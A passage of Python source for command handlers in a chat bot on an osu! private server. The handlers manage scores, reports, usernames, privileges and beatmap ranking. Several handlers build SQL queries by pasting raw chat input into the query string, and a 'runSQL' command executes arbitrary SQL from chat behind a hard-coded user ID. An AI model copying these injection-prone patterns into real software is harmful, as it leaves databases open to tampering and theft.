BY scores.time DESC\n\t\tLIMIT 1\"\"\", [fro])\n\t\tif data is None:\n\t\t\treturn False\n\n\t\tdiffString = \"difficulty_{}\".format(gameModes.getGameModeForDB(data[\"play_mode\"]))\n\t\trank = generalUtils.getRank(data[\"play_mode\"], data[\"mods\"], data[\"accuracy\"],\n\t\t\t\t\t\t\t\t\tdata[\"300_count\"], data[\"100_count\"], data[\"50_count\"], data[\"misses_count\"])\n\n\t\tifPlayer = \"{0} | \".format(fro) if chan != glob.BOT_NAME else \"\"\n\t\tifFc = \" (FC)\" if data[\"max_combo\"] == data[\"fc\"] else \" {0}x/{1}x\".format(data[\"max_combo\"], data[\"fc\"])\n\t\tbeatmapLink = \"[http://osu.ppy.sh/b/{1} {0}]\".format(data[\"sn\"], data[\"bid\"])\n\n\t\thasPP = data[\"play_mode\"] != gameModes.CTB\n\n\t\tmsg = ifPlayer\n\t\tmsg += beatmapLink\n\t\tif data[\"play_mode\"] != gameModes.STD:\n\t\t\tmsg += \" <{0}>\".format(gameModes.getGameModeForPrinting(data[\"play_mode\"]))\n\n\t\tif data[\"mods\"]:\n\t\t\tmsg += ' +' + generalUtils.readableMods(data[\"mods\"])\n\n\t\tif not hasPP:\n\t\t\tmsg += \" | {0:,}\".format(data[\"score\"])\n\t\t\tmsg += ifFc\n\t\t\tmsg += \" | {0:.2f}%, {1}\".format(data[\"accuracy\"], rank.upper())\n\t\t\tmsg += \" {{ {0} / {1} / {2} / {3} }}\".format(data[\"300_count\"], data[\"100_count\"], data[\"50_count\"], data[\"misses_count\"])\n\t\t\tmsg += \" | {0:.2f} stars\".format(data[diffString])\n\t\t\treturn msg\n\n\t\tmsg += \" ({0:.2f}%, {1})\".format(data[\"accuracy\"], rank.upper())\n\t\tmsg += ifFc\n\t\tmsg += \" | {0:.2f}pp\".format(data[\"pp\"])\n\n\t\tstars = data[diffString]\n\t\tif data[\"mods\"]:\n\t\t\ttoken = glob.tokens.getTokenFromUsername(fro)\n\t\t\tif token is None:\n\t\t\t\treturn False\n\t\t\tuserID = token.userID\n\t\t\ttoken.tillerino[0] = data[\"bid\"]\n\t\t\ttoken.tillerino[1] = data[\"mods\"]\n\t\t\ttoken.tillerino[2] = data[\"accuracy\"]\n\t\t\toppaiData = getPPMessage(userID, just_data=True)\n\t\t\tif \"stars\" in oppaiData:\n\t\t\t\tstars = oppaiData[\"stars\"]\n\n\t\tmsg += \" | {0:.2f} stars\".format(stars)\n\t\treturn msg\n\texcept Exception as a:\n\t\tlog.error(a)\n\t\treturn False\n\ndef mm00(fro, chan, message):\n\trandom.seed()\n\treturn random.choice([\"meme\", \"MA MAURO ESISTE?\"])\n\ndef pp(fro, chan, message):\n\tif chan.startswith(\"#\"):\n\t\treturn False\n\n\tgameMode = None\n\tif len(message) >= 1:\n\t\tgm = {\n\t\t\t\"standard\": 0,\n\t\t\t\"std\": 0,\n\t\t\t\"taiko\": 1,\n\t\t\t\"ctb\": 2,\n\t\t\t\"mania\": 3\n\t\t}\n\t\tif message[0].lower() not in gm:\n\t\t\treturn \"What are you stupid? I've never heard of that gamemode.\"\n\t\telse:\n\t\t\tgameMode = gm[message[0].lower()]\n\n\ttoken = glob.tokens.getTokenFromUsername(fro)\n\tif token is None:\n\t\treturn False\n\tif gameMode is None:\n\t\tgameMode = token.gameMode\n\tif gameMode == gameModes.TAIKO or gameMode == gameModes.CTB:\n\t\treturn \"PP for your current game mode is not supported yet.\"\n\tpp = userUtils.getPP(token.userID, gameMode)\n\treturn \"You have {:,} pp\".format(pp)\n\ndef updateBeatmap(fro, chan, message):\n\ttry:\n\t\t# Run the command in PM only\n\t\tif chan.startswith(\"#\"):\n\t\t\treturn False\n\n\t\t# Get token and user ID\n\t\ttoken = glob.tokens.getTokenFromUsername(fro)\n\t\tif token is None:\n\t\t\treturn False\n\n\t\t# Make sure the user has triggered the bot with /np command\n\t\tif token.tillerino[0] == 0:\n\t\t\treturn \"Please give me a beatmap first with /np command.\"\n\n\t\t# Send the request to cheesegull\n\t\tok, message = cheesegull.updateBeatmap(token.tillerino[0])\n\t\tif ok:\n\t\t\treturn \"An update request for that beatmap has been queued. Check back in a few minutes and the beatmap should be updated!\"\n\t\telse:\n\t\t\treturn \"Error in beatmap mirror API request: {}\".format(message)\n\texcept:\n\t\treturn False\n\ndef report(fro, chan, message):\n\tmsg = \"\"\n\ttry:\n\t\t# TODO: Rate limit\n\t\t# Regex on message\n\t\treportRegex = re.compile(\"^(.+) \\((.+)\\)\\:(?: )?(.+)?$\")\n\t\tresult = reportRegex.search(\" \".join(message))\n\n\t\t# Make sure the message matches the regex\n\t\tif result is None:\n\t\t\traise exceptions.invalidArgumentsException()\n\n\t\t# Get username, report reason and report info\n\t\ttarget, reason, additionalInfo = result.groups()\n\t\ttarget = chat.fixUsernameForBancho(target)\n\n\t\t# Make sure the target is not foka\n\t\tif target.lower() == glob.BOT_NAME.lower():\n\t\t\traise exceptions.invalidUserException()\n\n\t\t# Make sure the user exists\n\t\ttargetID = userUtils.getID(target)\n\t\tif targetID == 0:\n\t\t\traise exceptions.userNotFoundException()\n\n\t\t# Make sure that the user has specified additional info if report reason is 'Other'\n\t\tif reason.lower() == \"other\" and additionalInfo is None:\n\t\t\traise exceptions.missingReportInfoException()\n\n\t\t# Get the token if possible\n\t\tchatlog = \"\"\n\t\ttoken = glob.tokens.getTokenFromUsername(userUtils.safeUsername(target), safe=True)\n\t\tif token is not None:\n\t\t\tchatlog = token.getMessagesBufferString()\n\n\t\t# Everything is fine, submit report\n\t\tglob.db.execute(\"INSERT INTO reports (id, from_uid, to_uid, reason, chatlog, time) VALUES (NULL, %s, %s, %s, %s, %s)\", [userUtils.getID(fro), targetID, \"{reason} - ingame {info}\".format(reason=reason, info=\"({})\".format(additionalInfo) if additionalInfo is not None else \"\"), chatlog, int(time.time())])\n\t\tmsg = \"You've reported {target} for {reason}{info}. A Community Manager will check your report as soon as possible. Every !report message you may see in chat wasn't sent to anyone, so nobody in chat, but admins, know about your report. Thank you for reporting!\".format(target=target, reason=reason, info=\"\" if additionalInfo is None else \" (\" + additionalInfo + \")\")\n\t\tadminMsg = \"{user} has reported {target} for {reason} ({info})\".format(user=fro, target=target, reason=reason, info=additionalInfo)\n\n\t\t# Log report in #admin and on discord\n\t\tchat.sendMessage(glob.BOT_NAME, \"#admin\", adminMsg)\n\t\tlog.warning(adminMsg, discord=\"cm\")\n\texcept exceptions.invalidUserException:\n\t\tmsg = \"Hello, {} here! You can't report me. I won't forget what you've tried to do. Watch out.\".format(glob.BOT_NAME)\n\texcept exceptions.invalidArgumentsException:\n\t\tmsg = \"Invalid report command syntax. To report an user, click on it and select 'Report user'.\"\n\texcept exceptions.userNotFoundException:\n\t\tmsg = \"The user you've tried to report doesn't exist. Did you type their name correctly?\"\n\texcept exceptions.missingReportInfoException:\n\t\tmsg = \"Please specify the reason of your report. Stupid.\"\n\texcept:\n\t\traise\n\tfinally:\n\t\tif msg != \"\":\n\t\t\ttoken = glob.tokens.getTokenFromUsername(fro)\n\t\t\tif token is not None:\n\t\t\t\tif token.irc:\n\t\t\t\t\tchat.sendMessage(glob.BOT_NAME, fro, msg)\n\t\t\t\telse:\n\t\t\t\t\ttoken.enqueue(serverPackets.notification(msg))\n\treturn False\n\n# cmyui's commands\ndef linkDiscord(fro, chan, message):\n\tdiscordID = message[0]\n\tuserID = userUtils.getID(fro)\n\n\tif not discordID.isdigit() or not (len(discordID) > 16 and len(discordID) < 19):\n\t\treturn \"Please use a valid discord User ID. You can get it like (so)[https://i.namir.in//ZuO.png].\"\n\n\tprivileges = userUtils.getPrivileges(userID)\n\n\tif privileges & 8388608:\n\t\troleID = 503292337804410880\n\telif privileges & 4:\n\t\troleID = 367104098966831114\n\telse:\n\t\treturn \"Sorry but it does not seem like you've donated to Vipsu. If this is incorrect, please contact Night.\"\n\n\tpreviousAkatsuki = glob.db.fetch(\"SELECT verified FROM discord_roles WHERE userid = {}\".format(userID))\n\tpreviousDiscord = glob.db.fetch(\"SELECT verified FROM discord_roles WHERE discordid = {}\".format(int(discordID)))\n\n\tif previousAkatsuki:\n\t\tif previousAkatsuki['verified'] == 1:\n\t\t\treturn \"Your account is already linked to a discord account. To unlink, you will need to contact cmyui.\"\n\n\tif previousDiscord:\n\t\tif previousDiscord['verified'] == 1:\n\t\t\treturn \"This discord account is already linked (and verified) to another Vipsu account.\"\n\n\tglob.db.execute(\"INSERT INTO discord_roles (userid, discordid, roleid, verified) VALUES ('{}', '{}', '{}', 0)\".format(userID, int(discordID), roleID))\n\n\treturn \"Okay. Your discord should be linked now <3. To finish verification, please use $linkosu in the discord now to complete verification.\"\n\ndef unenqueueRestriction(fro, chan, message):\n\tmessage = [x.lower() for x in message]\n\ttarget = message[0]\n\n\ttargetUserID = userUtils.getIDSafe(target)\n\tuserID = userUtils.getIDSafe(fro)\n\n\tuserUtils.setUserFlags(targetUserID, 0, author=userID)\n\n\t# Log message\n\tmsg = \"{}'s scheduled restriction removed.\".format(target)\n\treturn msg\n\ndef enqueueRestriction(fro, chan, message):\n\tmessage = [x.lower() for x in message]\n\ttarget = message[0]\n\tamount = message[1]\n\tunit = message[2]\n\treason = ' '.join(message[3:]).strip()\n\n\tif not reason:\n\t\treturn \"Please provide a valid reason.\"\n\n\tif not amount.isdigit():\n\t\treturn \"The amount must be a number.\"\n\n\t# Get target user ID\n\ttargetUserID = userUtils.getIDSafe(target)\n\tuserID = userUtils.getID(fro)\n\n\t# Make sure target is not the bot / super admin\n\tif targetUserID == 1001 and userID != 1001 :\n\t\treturn \"Nice try.\"\n\n\t# Make sure the user exists\n\tif not targetUserID:\n\t\treturn \"{}: user not found\".format(target)\n\n\t# Calculate time to restriction in seconds\n\tif unit == 's':\n\t\tflagTime = int(amount)\n\telif unit == 'm':\n\t\tflagTime = int(amount) * 60\n\telif unit == 'h':\n\t\tflagTime = int(amount) * 3600\n\telif unit == 'd':\n\t\tflagTime = int(amount) * 86400\n\telif unit == 'w':\n\t\tflagTime = int(amount) * 604800\n\telse:\n\t\treturn \"Invalid time unit (s/m/h/d/w).\"\n\n\t# Max time is 4 weeks\n\tif flagTime > 2419200:\n\t\treturn \"Invalid restriction time. Max time is 4 weeks.\"\n\t\n\tuserUtils.setUserFlags(targetUserID, flagTime, reason, userID)\n\n\t# Log message\n\tmsg = \"Scheduled restriction applied for {} in {}{} for the following reason: {}.\".format(target, amount, unit, reason)\n\treturn msg\n\ndef instantRestart(fro, chan, message):\n\tmsg = ' '.join(message[:])\n\tif len(msg) < 2:\n\t\tmsg = \"Vipsu is restarting, it will be back online momentarily..\"\n\tglob.streams.broadcast(\"main\", serverPackets.notification(msg))\n\tsystemHelper.scheduleShutdown(0, True, delay=5)\n\treturn False\n\ndef silentRestart(fro, chan, message): # for beta moments\n\t#glob.streams.broadcast(\"main\", serverPackets.notification(\"Bancho is restarting, it will be back online momentarily..\"))\n\tsystemHelper.scheduleShutdown(0, True, delay=5)\n\treturn False\n\ndef changeUsernameSelf(fro, chan, message): # For Donators to change their own usernames\n\tnewUsername = ' '.join(message[:])\n\tuserID = userUtils.getIDSafe(userUtils.safeUsername(fro))\n\tprivileges = userUtils.getPrivileges(userID)\n\ttokens = glob.tokens.getTokenFromUsername(userUtils.safeUsername(fro), safe=True, _all=True) # all tokens\n\ttoken = glob.tokens.getTokenFromUsername(userUtils.safeUsername(fro), safe=True) # single token\n\n\tif newUsername == 'Impairation' and userID != 1000:\n\t\treturn \"Nope.\"\n\tif newUsername == 'yes' and UserID != 1002:\n\t\treturn \"Nope.\"\n\n\t# Get safe username\n\tnewUsernameSafe = userUtils.safeUsername(newUsername)\n\n\t# Make sure this username is not already in use\n\tif userUtils.getIDSafe(newUsernameSafe) is not None:\n\t\treturn \"That username is already in use.\"\n\n\t# Change their username\n\tuserUtils.changeUsername(userID, fro, newUsername)\n\n\t# Ensure they are online (since it's only nescessary to kick/alert them if they're online), then do so if they are.\n\tif len(tokens) == 0:\n\t\treturn \"Something went wrong when grabbing your token(s). Please re-login and try again. If this persists, report the error to Night(#8144).\"\n\n\t# Kick users and tell them their username has been changed\n\tfor i in tokens:\n\t\ti.enqueue(serverPackets.notification(\"Your name has been changed to:\\n\\n{}\\n\\nPlease relogin using that name.\".format(newUsername)))\n\t\ti.kick()\n\n\tlog.rap(userID, \"has changed their username to {}.\".format(newUsername))\n\treturn \"Name successfully changed.\"\n\ndef nightSwitch(fro, chan, message): # Allow night to switch between perm settings\n\tnewPrivileges = int(message[0])\n\tuserID = userUtils.getIDSafe(fro)\n\n\tif userID != 1002:\n\t\treturn \"Funny joke.\"\n\n\tif newPrivileges > 16777215 or newPrivileges < 0:\n\t\treturn \"Invalid Value (0-16777215)\"\n\n\tr = \"Successfully updated your privileges to: \" # Probably the ugliest thing ever\n\tif newPrivileges == 0:\n\t\tr += \"Nothing (0)\"\n\tif newPrivileges & 1:\n\t\tr += \"UserPublic (1); \"\n\tif newPrivileges & 2:\n\t\tr += \"UserNormal (2); \"\n\tif newPrivileges & 4:\n\t\tr += \"UserDonor (4); \"\n\tif newPrivileges & 8:\n\t\tr += \"AdminAccessRAP (8); \"\n\tif newPrivileges & 16:\n\t\tr += \"AdminManageUsers (16); \"\n\tif newPrivileges & 32:\n\t\tr += \"AdminBanUsers (32); \"\n\tif newPrivileges & 64:\n\t\tr += \"AdminSilenceUsers (64); \"\n\tif newPrivileges & 128:\n\t\tr += \"AdminWipeUsers (128); \"\n\tif newPrivileges & 256:\n\t\tr += \"AdminManageBeatmaps (256); \"\n\tif newPrivileges & 512:\n\t\tr += \"AdminManageServers (512); \"\n\tif newPrivileges & 1024:\n\t\tr += \"AdminManageSettings (1024); \"\n\tif newPrivileges & 2048:\n\t\tr += \"AdminManageBetaKeys (2048); \"\n\tif newPrivileges & 4096:\n\t\tr += \"AdminManageReports (4096); \"\n\tif newPrivileges & 8192:\n\t\tr += \"AdminManageDocs (8192); \"\n\tif newPrivileges & 16384:\n\t\tr += \"AdminManageBadges (16384); \"\n\tif newPrivileges & 32768:\n\t\tr += \"AdminViewRAPLogs (32768); \"\n\tif newPrivileges & 65536:\n\t\tr += \"AdminManagePrivileges (65536); \"\n\tif newPrivileges & 131072:\n\t\tr += \"AdminSendAlerts (131072); \"\n\tif newPrivileges & 262144:\n\t\tr += \"AdminChatMod (262144); \"\n\tif newPrivileges & 524288:\n\t\tr += \"AdminKickUsers (524288); \"\n\tif newPrivileges & 1048576:\n\t\tr += \"UserPendingVerification (1048576); \"\n\tif newPrivileges & 2097152:\n\t\tr += \"UserTournamentStaff (2097152); \"\n\tif newPrivileges & 4194304:\n\t\tr += \"AdminCaker (4194304); \"\n\tr += \".\"\n\n\tif userID == 1000:\n\t\tglob.db.execute(\"UPDATE users SET privileges = {} WHERE id = 1000;\".format(newPrivileges))\n\telse:\n\t\treturn \"No. and how did you get this far?\"\n\n\treturn r\n\ndef changeUsername(fro, chan, message): # Change a users username, ingame.\n\tmessages = [m.lower() for m in message]\n\ttarget = message[0]\n\tnewUsername = ' '.join(message[1:]).strip()\n\ttargetUserID = userUtils.getIDSafe(target)\n\tuserID = userUtils.getIDSafe(fro)\n\tprivileges = userUtils.getPrivileges(targetUserID) # grab this to make admins not able to change non-donor's usernames. nazi mode.\n\n\tif targetUserID == 1000 and userID != 1000:\n\t\treturn \"Nope.\"\n\n\tif targetUserID == 1002 and userID != 1002:\n\t\treturn \"Nope.\"\n\n#\tif not privileges & 8388608: # Stops username changes to non-donor's. nazi mode.\n#\t\treturn \"The target user is not an Vipsu Donor.\"\n\n\t# Get safe username\n\tnewUsernameSafe = userUtils.safeUsername(newUsername)\n\n\t# Make sure this username is not already in use\n\tif userUtils.getIDSafe(newUsernameSafe) is not None:\n\t\treturn \"That username is already in use.\"\n\n\t# Grab userID & Token userUtils.safeUsername(target), safe=True, _all=True\n\ttokens = glob.tokens.getTokenFromUsername(userUtils.safeUsername(target), safe=True, _all=True)\n\n\t# Change their username\n\tuserUtils.changeUsername(targetUserID, target, newUsername)\n\n\t# Ensure they are online (since it's only nescessary to kick/alert them if they're online), then do so if they are.\n\tif len(tokens) == 0:\n\t\treturn \"{} is not online\".format(target)\n\n\t# Kick users and tell them their username has been changed\n\tfor i in tokens:\n\t\ti.enqueue(serverPackets.notification(\"Your name has been changed to:\\n\\n{}\\n\\nPlease relogin using that name.\".format(newUsername)))\n\t\ti.kick()\n\n\tlog.rap(targetUserID, \"has changed {}'s username to {}.\".format(fro, newUsername))\n\treturn \"Name successfully changed. It might take a while to change the username if the user is online on Vipsu.\"\n\ndef requestMap(fro, chan, message): # Splitting these up due to bancho explosions\n\n\t# Put the gathered values into variables to be used later\n\tmessages = [m.lower() for m in message] #!map rank set 3298432874\n\tmapType = message[0] # Whether it is a full difficulty spread, or just a single map being requested\n\tmapID = message[1] # The BeatmapID of the map (not BeatmapSetID)\n\n\t# Get persons userID and privileges\n\tuserID = userUtils.getID(fro)\n\tprivileges = userUtils.getPrivileges(userID)\n\n\tif chan.startswith('#') and chan != '#request' and not privileges & 8388608: # only run in pms or #request, unless premium\n\t\treturn \"Map requests are not permitted in regular channels, please do so in #request, or a PM to Fokabot.\"\n\n\n\t# Grab beatmapData from db\n\tbeatmapData = glob.db.fetch(\"SELECT beatmapset_id, ranked FROM beatmaps WHERE beatmap_id = {} LIMIT 1;\".format(mapID))\n\tpreviouslyRequested = glob.db.fetch(\"SELECT COUNT(id) FROM rank_requests WHERE bid = {} LIMIT 1;\".format(mapID))\n\n\tif previouslyRequested[\"COUNT(id)\"] > 0:\n\t\treturn \"This map has already been requested.\"\n\n\tif beatmapData is None:\n\t\treturn \"We could not find that beatmap. Perhaps check you are using the BeatmapID (not BeatmapSetID), and ensure you typed it correctly.\"\n\n\tif 's' in mapType:\n\t\tmapType = 's'\n\telif 'd' in mapType or 'm' in mapType or 'b' in mapType:\n\t\tmapType = 'b'\n\telse:\n\t\treturn \"Please specify whether your request is a single difficulty, or a full set (map/set). Example: '!map unrank/rank/love set/map 256123 mania'.\"\n\n\tif beatmapData['ranked'] > 0: # Check if the requested map is already loved/ranked\n\t\treturn \"That map is already {}.\".format(\"ranked\" if beatmapData['ranked'] == 2 else \"loved\")\n\n\tif mapType == \"set\":\n\t\twebhookDescription = \"{} (set) has been requested. \".format(beatmapData[\"beatmapset_id\"])\n\telse:\n\t\twebhookDescription = \"{} has been requested. \".format(beatmapData[\"beatmapset_id\"])\n\n\n\tglob.db.execute(\"INSERT INTO rank_requests (userid, bid, type, time, blacklisted) VALUES ('{}', '{}', '{}', '{}', '0')\".format(userID, mapID, mapType, int(time.time())))\n\tuserUtils.submitBeatmapRequest(fro, mapID, mapType)\n\treturn \"Your beatmap request has been submitted. Thank you!\"\n\ndef editMap(fro, chan, message): # miniature version of old editMap. Will most likely need to be worked on quite a bit.\n\n\t# Put the gathered values into variables to be used later\n\tmessages = [m.lower() for m in message] #!map rank set 3298432874\n\trankType = message[0]\n\tmapType = message[1]\n\tmapID = message[2]\n\tgameMode = message[3]\n\n\t# Get persons userID, privileges, and token\n\tuserID = userUtils.getID(fro)\n\tprivileges = userUtils.getPrivileges(userID)\n\ttoken = glob.tokens.getTokenFromUserID(userID)\n\tname = userUtils.getUsername(userID)\n\n\t# Only allow users to request maps in #admin channel or PMs with Mirai. Heavily reduced spam!\n\tif chan.startswith('#') and chan != '#admin' and not privileges & 8388608:\n\t\treturn \"Map ranking is not permitted in regular channels, please do so in PMs with Mirai (or #admin if administrator).\"\n\n\t# Grab beatmapData from db\n\ttry:\n\t\tbeatmapData = glob.db.fetch(\"SELECT beatmapset_id, song_name, ranked FROM beatmaps WHERE beatmap_id = {} LIMIT 1\".format(mapID))\n\texcept:\n\t\treturn \"We could not find that beatmap. Perhaps check you are using the BeatmapID (not BeatmapSetID), and typed it correctly.\"\n\n\t# Handle gameMode\n\tif 's' in gameMode.lower() or ('o' in gameMode.lower() and not 'm' in gameMode.lower() and not 'c' in gameMode.lower() and not 't' in gameMode.lower()):\n\t\tgameMode = \"osu!\"\n\telif 'c' in gameMode.lower():\n\t\tgameMode = \"osu!catch\"\n\telif 'm' in gameMode.lower():\n\t\tgameMode = \"osu!mania\"\n\telif 't' in gameMode.lower():\n\t\tgameMode = \"osu!taiko\"\n\telse:\n\t\treturn \"Please enter a valid gamemode (std, ctb, taiko, mania).\"\n\n\tif 's' in mapType.lower():\n\t\tmapType = 'set'\n\telif 'd' in mapType.lower() or 'm' in mapType.lower():\n\t\tmapType = 'map'\n\telse:\n\t\treturn \"Please specify whether your request is a single difficulty, or a full set (map/set). Example: '!map unrank/rank/love set/map 256123 mania'.\"\n\n\t# User is QAT\n\tif privileges & 256:\n\n\t\t# Figure out which ranked status we're requesting to\n\t\tif 'r' in rankType.lower() and 'u' not in rankType.lower():\n\t\t\trankType = 'rank'\n\t\t\trankTypeID = 2\n\t\t\tfreezeStatus = 1\n\t\telif 'l' in rankType.lower():\n\t\t\trankType = 'love'\n\t\t\trankTypeID = 5\n\t\t\tfreezeStatus = 2\n\t\telif 'u' in rankType.lower() or 'g' in rankType.lower():\n\t\t\trankType = 'unrank'\n\t\t\trankTypeID = 0\n\t\t\tfreezeStatus = 0\n\t\telse:\n\t\t\treturn \"Please enter a valid ranked status (rank, love, unrank).\"\n\n\t\tif beatmapData['ranked'] == rankTypeID:\n\t\t\treturn \"This map is already {}ed\".format(rankType)\n\n\n\t\tif mapType == 'set':\n\t\t\tnumDiffs = glob.db.fetch(\"SELECT COUNT(id) FROM beatmaps WHERE beatmapset_id = {}\".format(beatmapData[\"beatmapset_id\"]))\n\t\t\tglob.db.execute(\"UPDATE beatmaps SET ranked = {}, ranked_status_freezed = {}, rankedby = {} WHERE beatmapset_id = {} LIMIT {}\".format(rankTypeID, freezeStatus, userID, beatmapData[\"beatmapset_id\"], numDiffs[\"COUNT(id)\"]))\n\t\telse:\n\t\t\tglob.db.execute(\"UPDATE beatmaps SET ranked = {}, ranked_status_freezed = {}, rankedby = {} WHERE beatmap_id = {} LIMIT 1\".format(rankTypeID, freezeStatus, userID, mapID ))\n\n\t\t# Announce / Log to AP logs when ranked status is changed\n\t\tlog.rap(userID, \"has {}ed beatmap ({}): {} ({}), on gamemode {}.\".format(rankType, mapType, beatmapData[\"song_name\"], mapID, gameMode), True)\n\t\tif mapType.lower() == 'set':\n\t\t\tmsg = \"{} has {}ed beatmap set: [https://osu.ppy.sh/s/{} {}] on gamemode {}\".format(fro, rankType, beatmapData[\"beatmapset_id\"], beatmapData[\"song_name\"], gameMode)\n\t\telse:\n\t\t\tmsg = \"{} has {}ed beatmap: [https://osu.ppy.sh/s/{} {}] on gamemode {}\".format(fro, rankType, mapID, beatmapData[\"song_name\"], gameMode)\n\n\t\tchat.sendMessage(glob.BOT_NAME, \"#announce\", msg)\n\t\tif rankType == \"love\":\n\t\t\tif mapType == \"set\":\n\t\t\t\twebhookDescription = \"{} (set) has been loved by {}\".format(beatmapData[\"song_name\"], name)\n\t\t\telse:\n\t\t\t\twebhookDescription = \"{} has been loved by {}\".format(beatmapData[\"song_name\"], name)\n\t\telse:\n\t\t\tif mapType == \"set\":\n\t\t\t\twebhookDescription = \"{} (set) has been {}ed by {}\".format(beatmapData[\"song_name\"], rankType, name)\n\t\t\telse:\n\t\t\t\twebhookDescription = \"{} has been {}ed by {}\".format(beatmapData[\"song_name\"], rankType, name)\n\n\t\twebhookHelper.postWebhookRanked(glob.conf.config[\"webhooks\"][\"ranked\"], args={\n\t\t\t\"color\": 0xf0ad4e,\n\t\t\t\"title\": \"New Ranked Map!\",\n\t\t\t\"title_url\": \"https://osu.ppy.sh/s/\" + str(beatmapData[\"beatmapset_id\"]),\n\t\t\t\"desc\": webhookDescription,\n\t\t\t\"image\": \"https://assets.ppy.sh/beatmaps/\" + str(beatmapData[\"beatmapset_id\"]) + \"/covers/cover.jpg\",\n\t\t\t\"author\": name,\n\t\t\t\"author_icon\": \"http://a.revipsu.cf/\" + str(userID),\n\t\t\t\"author_url\": \"http://revipsu.cf/u/\" + str(userID),\n\t\t})\n\t\treturn msg\n\n#def cleanVivid(fro, chan, message): # Clear vivids leaderboards 4head\n#\tuserID = userUtils.getID(fro)\n#\n#\tif userID != 1001:\n#\t\treturn \"No.\"\n#\n#\tglob.db.execute(\"\"\"DELETE FROM scores WHERE beatmap_md5 = '1cf5b2c2edfafd055536d2cefcb89c0e';\n#\t\t\t\t\t DELETE FROM scores_relax WHERE beatmap_md5 = '1cf5b2c2edfafd055536d2cefcb89c0e';\n#\t\t\t\t\"\"\")\n#\treturn \"Success. [https://osu.ppy.sh/b/315 Vivid]!\"\n\n\ndef postAnnouncement(fro, chan, message): # Post to #announce ingame\n\tannouncement = ' '.join(message[0:])\n\tchat.sendMessage(glob.BOT_NAME, \"#announce\", announcement)\n\tuserID = userUtils.getID(fro)\n\tname = userUtils.getUsername(userID)\t\n\t\n\twebhookHelper.postWebhook(glob.conf.config[\"webhooks\"][\"announcement\"], args={\n\t\t\"color\": 0xf0ad4e,\n\t\t\"title\": \"Announcement\",\n\t\t\"desc\": announcement,\n\t\t\"author\": name,\n\t\t\"author_icon\": \"http://a.revipsu.cf/\" + str(userID),\n\t\t\"author_url\": \"http://revipsu.cf/u/\" + str(userID),\n\t})\n\t\n\treturn \"Announcement successfully sent.\"\n\n\ndef discordTest(fro, chan, message):\n\ttry:\n\t\tlog.cmyui(\"Success {} {} {}\".format(fro, chan, message), discord=\"cm\")\n\t\treturn \"success.\"\n\texcept:\n\t\treturn \"not success. :(\"\n\treturn False\n\t\ndef discordUserInfo(fro, chan, message): # ahahaha - cmyui\n\ttarget = message[0].lower()\n\t# Make sure the user exists\n\ttargetUserID = userUtils.getIDSafe(target)\n\tuserID = userUtils.getID(fro)\n\tif not targetUserID:\n\t\treturn \"{}: user not found.\".format(target)\n\t# Make sure target is not the bot\n\tif userID != 1001:\n\t\treturn \"You have insufficient permissions to perform this request. Have (appledotcom)[https://youtu.be/h1pSSrmdEtw] instead. <3\"\n\t# Perform the request :)\n\tuserUtils.collectUserInfo(targetUserID)\n\treturn \"Request successfully performed (uID: {}).\".format(targetUserID)\n\t\ndef runSQL(fro, chan, message): # Obviously not the safest command.. Run SQL queries ingame!\n\tmessages = [m.lower() for m in message]\n\tcommand = ' '.join(message[0:])\n\tuserID = userUtils.getID(fro)\n\tif userID == 1001: # Just cmyui owo\n\t\tif len(command) < 10: # Catch this so it doesnt say it failed when it kinda didnt even though it did what the fuck am i typing anymore\n\t\t\treturn \"Query length too short.. You're probably doing something wrong.\"\n\t\ttry:\n\t\t\tglob.db.execute(command)\n\t\texcept:\n\t\t\treturn \"Could not successfully execute query\"\n\telse:\n\t\treturn \"You lack sufficient permissions to execute this query\"\n\treturn \"Query executed successfully\"\n\t\ndef promoteUser(fro, chan, message): # Set a users privileges ingame\n\tmessages = [m.lower() for m in message]\n\ttarget = message[0]\n\tprivilege = message[1]\n\ttargetUserID = userUtils.getIDSafe(target)\n\tuserID = userUtils.getID(fro)\n\tif not targetUserID:\n\t\treturn \"{}: user not found\".format(target)\n\tif privilege == 'user':\n\t\tpriv = 3\n\telif privilege == 'bat':\n\t\tpriv = 267\n\telif privilege == 'mod':\n\t\tpriv = 786763\n\telif privilege == 'tournamentstaff':\n\t\tpriv = 2097159\n\telif privilege == 'admin':\n\t\tpriv = 7262719\n\telif privilege == 'developer':\n\t\tpriv = 3145727\n\telif privilege == 'owner':\n\t\tpriv = 7340031\n\telse:\n\t\treturn \"Invalid rankname (bat/mod/tournamentstaff/admin/developer/owner)\"\n\ttry:\n\t\tglob.db.execute(\"UPDATE users SET privileges = %s WHERE id = %s LIMIT 1\", [priv, targetUserID])\n\texcept:\n\t\treturn \"An unknown error has occured while trying to set role.\"\n\t# Log message\n\tlog.rap(userID, \"set {} to {}.\".format(target, privilege), True)\n\tmsg = \"{}'s rank has been set to: {}\".format(target, privilege)\n\tchat.sendMessage(glob.BOT_NAME, \"#announce\", msg)\n\treturn msg\n\t\ndef recommendMap(fro, chan, message):\n\tmessages = [m.lower() for m in message]\n\ttry:\n\t\tdiffmode = message[0]\n\t\tif chan.startswith(\"#\"):\n\t\t\treturn False\n\t\t# Probably the hardest thing I've ever attempted to code (made by cmyui winky face emoji :cowboy:)\n\t\t# Currently only works on nomod because idk how to code\n\t\tuserID = userUtils.getIDSafe(fro)\n\n\t\t# Specify gamemode. recommend PP to the User\n\t\tif not diffmode.isdigit():\n\t\t\tif diffmode == \"std\":\n\t\t\t\tmodeName = \"std\"\n\t\t\t\tmodeID = 0\n\t\t\telif diffmode == \"taiko\":\n\t\t\t\tmodeName = \"taiko\"\n\t\t\t\tmodeID = 1\n\t\t\telif diffmode == \"ctb\":\n\t\t\t\tmodeName = \"ctb\"\n\t\t\t\tmodeID = 2\n\t\t\telif diffmode == \"mania\":\n\t\t\t\tmodeName = \"mania\"\n\t\t\t\tmodeID = 3\n\t\t\telse:\n\t\t\t\treturn \"Please enter a valid gamemode.\"\n\n\t\t\t# Calculate what sort of PP amounts we should be recommending based on the average of their top 10 plays\n\t\t\tuserPPData = glob.db.fetch(\"SELECT AVG(pp) FROM (SELECT pp FROM scores WHERE userid = {} AND play_mode = {} ORDER BY pp DESC LIMIT 10) AS topplays\".format(userID, modeID))\n\n\t\t\t'''\n\t\t\tif not pp in userPPData:\n\t\t\t\treturn \"You do not have enough scores in this gamemode to have any recommendations.\"\n\t\t\t'''\n\n\t\t\t#Determine what amount of PP we should recommend them\n\t\t\trawrecommendedPP = userPPData.values()\n\t\t\trecommendedPP = 0\n\t\t\tfor val in rawrecommendedPP:\n\t\t\t\trecommendedPP += val\n\n\t\t\t# Determine the amount of variance\n\t\t\tppVariance = recommendedPP / 15\n\t\t\tppBelow = 